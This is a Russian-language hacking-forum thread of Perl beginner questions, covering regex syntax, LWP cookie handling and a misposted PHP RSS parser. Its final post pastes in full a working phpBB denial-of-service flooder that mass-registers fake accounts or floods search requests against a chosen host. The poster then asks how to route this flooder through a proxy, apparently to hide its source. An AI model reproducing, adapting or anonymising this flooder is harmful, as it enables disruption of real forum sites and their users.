[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> что лучше юзать, Lwp, сокеты или еще что-то?

    вопрос некорректен.. lwp использует Socket, как и io::socket и т.п. модули..
     
  2. $p01nt

    $p01nt Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    116
    Likes Received:
    20
    Reputations:
    1
    и исчо один :)

    http://paste.org.ru/?5uqzmz вот скрипт. Он авторизируеца на сайте xaker.ru и выводит текст от <title> до </title> ... выводит почему то титл главной страницы . в чем ошибка ? как исправить ?
     
  3. Z@h

    Z@h Banned

    Joined:
    11 Aug 2007
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    как понять такое рег.выр?
    $data=~m/^(\C{4})(\C*)/;

    ну m это для обработки данных как однострочную символьную строку
    а вот \C что такое?
     
  4. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    http://wdh.suncloud.ru/perl04.htm
    Гугл впадлу открыть ?
     
  5. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    \c Один байт {4} - Количество
     
    1 person likes this.
  6. Z@h

    Z@h Banned

    Joined:
    11 Aug 2007
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    ZAMUT
    и где по ссылке, что ты скинул есть описание \С ?

    bul.666
    спасиб большое
     
  7. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Code:
    \C  - 	Соответствует одному байту, даже при директиве use utf8.
     
  8. $p01nt

    $p01nt Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    116
    Likes Received:
    20
    Reputations:
    1
    мне то ответьте :)
     
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    $p01nt, невнятгый какой-то вопрос. Нужно-то что, чтобы выводился текст, расположенный внутри тэга TITLE?
    Code:
    ...
    print $1;
    
     
  10. $p01nt

    $p01nt Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    116
    Likes Received:
    20
    Reputations:
    1
    да , но выводиться ТЕКСТ НЕ ТОЙ СТРАНИЦЫ !!! я ӕто писал в первом посте по ӕтой теме
     
  11. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> да , но выводиться ТЕКСТ НЕ ТОЙ СТРАНИЦЫ !!!

    тебе надо получить кукисы при успешной аутентификации, и использовать их, при посылке запросов на сайт..

    пример:
    Code:
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    my $cookie_jar = HTTP::Cookies->new;
    my $ua = LWP::UserAgent->new;
         $ua->agent('Opera/9.00 (Windows NT 5.1; U; ru)');
         $ua->cookie_jar($cookie_jar);
    
    my $req = $ua->post("http://$site$path", 
    	Content => ['login_name' 	=> "$login",
                                 'login_password' 	=> "$pass", 
    		     'login' 		=> 'submit' ]);
    	[COLOR=Red]$cookie_jar[/COLOR]->extract_cookies($req);
    
    затем делаем запросы с полученными кукисами:
    Code:
    my $ub = LWP::UserAgent->new;
    		   $ub->agent('Opera/9.00 (Windows NT 5.1; U; ru)');
    		   [B]$ub->cookie_jar([COLOR=Red]$cookie_jar[/COLOR]);[/B]
    
    my $rew = $ub->get("http://$site$path"."index.php?do=pm&doaction=newpm&user=$num")->as_string;
     
    #351 Digimortal, 29 Feb 2008
    Last edited: 29 Feb 2008
  12. $p01nt

    $p01nt Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    116
    Likes Received:
    20
    Reputations:
    1
    http://paste.org.ru/?9x0knz - вот сам скрипт с которым я мучаюсь ... поправте плз
     
  13. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Народ, в чём прикол? На моём сайте работал RSS парсер. Работал давно и исправно. Но несколько дней назад перестал. Стал выдавать:
    В скрипте 3-я строка это session_start()
    Ничего не пойму. Пытался и другой RSS фид ему скормить... Нифига не помогло. Вот сайт скрипт:
    PHP:
    <?php
    header
    "Content-type: text/html; charset=UTF-8" );
    error_reporting(E_ALL);


    require_once( 
    "./inc/Common.inc" );

        
    $HTML_NEWS['text'] = "";
        
    $HEADER "Новости";

    $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "menu";
    $coli4 = isset($_REQUEST['num']) ? $_REQUEST['num'] : 3;

    if(
    $coli4 10)
        
    $coli4 10;
    if (
    $coli4 1)
        
    $coli4 3;
    switch (
    strtolower($type)){
        case 
    "world": default:
            
    $file "http://www.profootball.com.ua/rss/news.xml";
            
    $HEADER .= " :: Новости мирового футбола";
            break;
        case 
    "russian":
            
    $file "http://www.championat.ru/xml/rss_football_russiapl.xml";
            
    $HEADER .= " :: Новости Российского футбола";
            break;
        case 
    "ukraine": default:
            
    $file "http://news.yandex.ru/football.rss";
            
    $HEADER .= " :: Новости футбола от yandex";
            break;
        case 
    "menu":
            
    $HEADER .= "";
            break;
    }

    $HTML_NEWS['text'] .= <<< EOS

    <div class="subtitle">
    <b>Новости</b><br/>
    </div>
    <div class="text">
    На этой странице находятся самые свежие футбольные новости. <br/>
    </div>
    <div class="text">
    EOS;

    if (
    $type=="menu")
    {
    $HTML_NEWS['text'] .= "<div class=\"subtitle\">Выберите категорию новостей</div><div class=\"text\">
    <a href=?type=world&num=3>Новости мирового футбола</a><br>
    <a href=?type=ya&num=3>Новости футбола от yandex</a><br>
    <a href=?type=russian&num=3>Новости Российского футбола</a>"
    ;
    }
    else
    {
    $rss_channel = array();
    $currently_writing "";
    $main "";
    $item_counter 0;

    function 
    startElement($parser$name$attrs) {
           global 
    $rss_channel$currently_writing$main;
           switch(
    $name) {
               case 
    "RSS":
               case 
    "RDF:RDF":
               case 
    "ITEMS":
                   
    $currently_writing "";
                   break;
               case 
    "CHANNEL":
                   
    $main "CHANNEL";
                   break;
               case 
    "IMAGE":
                   
    $main "IMAGE";
                   
    $rss_channel["IMAGE"] = array();
                   break;
               case 
    "ITEM":
                   
    $main "ITEMS";
                   break;
               default:
                   
    $currently_writing $name;
                   break;
           }
    }

    function 
    endElement($parser$name) {
           global 
    $rss_channel$currently_writing$item_counter;
           
    $currently_writing "";
           if (
    $name == "ITEM") {
               
    $item_counter++;
           }
    }

    function 
    characterData($parser$data) {
        global 
    $rss_channel$currently_writing$main$item_counter;
        if (
    $currently_writing != "") {
            switch(
    $main) {
                case 
    "CHANNEL":
                    if (isset(
    $rss_channel[$currently_writing])) {
                        
    $rss_channel[$currently_writing] .= $data;
                    } else {
                        
    $rss_channel[$currently_writing] = $data;
                    }
                    break;
                case 
    "IMAGE":
                    if (isset(
    $rss_channel[$main][$currently_writing])) {
                        
    $rss_channel[$main][$currently_writing] .= $data;
                    } else {
                        
    $rss_channel[$main][$currently_writing] = $data;
                    }
                    break;
                case 
    "ITEMS":
                    if (isset(
    $rss_channel[$main][$item_counter][$currently_writing])) {
                        
    $rss_channel[$main][$item_counter][$currently_writing] .= $data;
                    } else {
                        
    //print ("rss_channel[$main][$item_counter][$currently_writing] = $data<br>");
                        
    $rss_channel[$main][$item_counter][$currently_writing] = $data;
                    }
                    break;
            }
        }
    }

    $xml_parser xml_parser_create();
    xml_set_element_handler($xml_parser"startElement""endElement");
    xml_set_character_data_handler($xml_parser"characterData");
    if (!(
    $fp fopen($file"r"))) {
        die(
    "could not open XML input");
    }

    while (
    $data fread($fp4096)) {
        if (!
    xml_parse($xml_parser$datafeof($fp))) {
            die(
    sprintf("XML error: %s at line %d",
                        
    xml_error_string(xml_get_error_code($xml_parser)),
                        
    xml_get_current_line_number($xml_parser)));
        }
    }
    xml_parser_free($xml_parser);

    if (isset(
    $rss_channel["ITEMS"])) {
        if (
    count($rss_channel["ITEMS"]) > 0) {
            for(
    $i 0;$i $coli4;$i++) {
                
    $HTML_NEWS['text'] .= "\n<div class=\"subtitle\">" $rss_channel["ITEMS"][$i]["TITLE"] . "</b></div>";
                
    $HTML_NEWS['text'] .= "<div class=\"text\">" html_entity_decode($rss_channel["ITEMS"][$i]["DESCRIPTION"]) . "</div>";
            }
        } else {
            
    $HTML_NEWS['text'] .= "<b>There are no articles in this feed.</b>";
        }
    }
    $HTML_NEWS['text'] .= <<< EOS
    <div class=\"subtitle\">
    <form method=get action=news.php>
    EOS;
    $HTML_NEWS['text'] .= "<a href=?type=$type&num=10>Больше новостей >>></a></form>";
    }
    бла бла бла...
     
  14. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    и причем тут perl??????
     
  15. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    ой...не туда...
     
  16. Xeeper

    Xeeper New Member

    Joined:
    6 Mar 2005
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    Не шарю в Perl
    Подскажите как в этом куске кода сделать коннект через прокси:

    Code:
    ## Connect Socket with Variables Provided By User
    my $sock = new IO::Socket::INET (
                                     PeerAddr => "$host",
                                     PeerPort => "80",
                                     Proto => "tcp",
                                    );
    die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
    
     
  17. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    в PeerAddr укажи адрес прокси, а в PeerPort - порт на котором он висит.. )
     
  18. Xeeper

    Xeeper New Member

    Joined:
    6 Mar 2005
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    ну надо чтоб коннект осуществлялся через прокси, а не на проксию
    То есть коннект на
    PeerAddr => "$host",
    PeerPort => "80"

    Должен осуществляться через например прокси 127.0.0.1
    порт 8080
     
  19. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> ну надо чтоб коннект осуществлялся через прокси, а не на проксию

    а ты считаешь, что чтоб использовать прокси к нему коннектиться как бы и не надо чтоле? )

    ты коннектишься к прокси, пересылаешь ему запрос, а дальше уже прокси сам конектится куда надо.. только нужно правильно http-заголовки указать.. если это http-прокси, то надо полный урл укзывать в запросах.. если https то использовать метод CONNECT..
     
  20. Xeeper

    Xeeper New Member

    Joined:
    6 Mar 2005
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    Ну вот например есть сплоит для PhpBB:

    Code:
    
    #!/usr/bin/perl
    ##  Name: NsT-phpBBDoS (Perl Version)
    ##  Copyright: Neo Security Team
    ##  Author: HaCkZaTaN
    ##  Ported: g30rg3_x
    ##  Date: 20/06/05
    ##  Description: NsT-phpBB DoS By HackZatan Ported tu perl By g30rg3_x
    ##               A Simple phpBB Registration And Search DoS Flooder.
    ## 
    ##  g30rg3x@neosecurity:/home/g30rg3x# perl NsT-phpBBDoS.pl
    ##  [+] 
    ##  [+] NsT-phpBBDoS v0.2 by HaCkZaTaN
    ##  [+] ported to Perl By g30rg3_x
    ##  [+] Neo Security Team
    ##  [+]
    ##  [+] Host |without http://www.| victimshost.com
    ##  [+] Path |example. /phpBB2/ or /| /phpBB2/
    ##  [+] Flood Type |1=Registration 2=Search| 1
    ##  [+] ..........................................................
    ##  [+] ..........................................................
    ##  [+] ..........................................................
    ##  [+] ..............................................
    ##  [+] The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed
    ##  g30rg3x@neosecurity:/home/g30rg3x# echo "Let see how many users I have created"
    
    use IO::Socket;
    
    ## Initialized X
    $x = 0;
    
    ## Flood Variables Provided By User
    print q(
    NsT-phpBBDoS v0.2 by HaCkZaTaN
    ported to Perl By g30rg3_x
    Neo Security Team
    
    );
    print q(Host |without http://www.| );
    $host = <STDIN>;
    chop ($host);
    
    print q(Path |example. /phpBB2/ or /| );
    $pth = <STDIN>;
    chop ($pth);
    
    print q(Flood Type |1 = Registration, 2 = Search| );
    $type = <STDIN>;
    chop ($type);
    
    ## If Type Is Equals To 1 or Registration
    if($type == 1){
    
    ## User Loop for 9999 loops (enough for Flood xDDDD)
    while($x != 9999)
    {
    
    ## Building User in base X
    $uname = "username=NsT__" . "$x";
    
    ## Building User Mail in base X
    $umail = "&email=NsT__" . "$x";
    
    ## Final String to Send
    $postit = "$uname"."$umail"."%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";
    
    ## Posit Length
    $lrg = length $postit;
    
    ## Connect Socket with Variables Provided By User
    my $sock = new IO::Socket::INET (
                                     PeerAddr => "$host",
                                     PeerPort => "80",
                                     Proto => "tcp",
                                    );
    die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
    
    ## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums
    print $sock "POST $pth"."profile.php HTTP/1.1\n";
    print $sock "Host: $host\n";
    print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
    print $sock "Referer: $host\n";
    print $sock "Accept-Language: en-us\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Accept-Encoding: gzip, deflate\n";
    print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
    print $sock "Connection: Keep-Alive\n";
    print $sock "Cache-Control: no-cache\n";
    print $sock "Content-Length: $lrg\n\n";
    print $sock "$postit\n";
    close($sock);
    
    ## Print a "." for every loop
    syswrite STDOUT, ".";
    
    ## Increment X in One for every Loop 
    $x++;
    }
    
    ## If Type Is Equals To 2 or Search
    }
    elsif ($type == 2){
    
    ## User Search Loop for 9999 loops (enough for Flood xDDDD)
    while($x != 9999)
    {
    ## Final Search String to Send
    $postit = "search_keywords=Neo+Security+Team+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";
    
    ## Posit Length
    $lrg = length $postit;
    
    ## Connect Socket with Variables Provided By User
    my $sock = new IO::Socket::INET (
                                     PeerAddr => "$host",
                                     PeerPort => "80",
                                     Proto => "tcp",
                                    );
    die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
    
    ## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
    print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
    print $sock "Host: $host\n";
    print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
    print $sock "Referer: $host\n";
    print $sock "Accept-Language: en-us\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Accept-Encoding: gzip, deflate\n";
    print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
    print $sock "Connection: Keep-Alive\n";
    print $sock "Cache-Control: no-cache\n";
    print $sock "Content-Length: $lrg\n\n";
    print $sock "$postit\n";
    close($sock);
    
    ## Print a "." for every loop
    syswrite STDOUT, ".";
    
    ## Increment X in One for every Loop
    $x++;
    }
    }else{
    ## STF??? What Do You Type
    	die "Option not Allowed O_o???\n";
    }
    
    # milw0rm.com [2005-06-22]gfd
    То есть после строки:
    ## Connect Socket with Variables Provided By User...
    прописать прокси

    а в строках после:
    ## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums

    прописывать уже адре самого сайта ?
     
Thread Status:
Not open for further replies.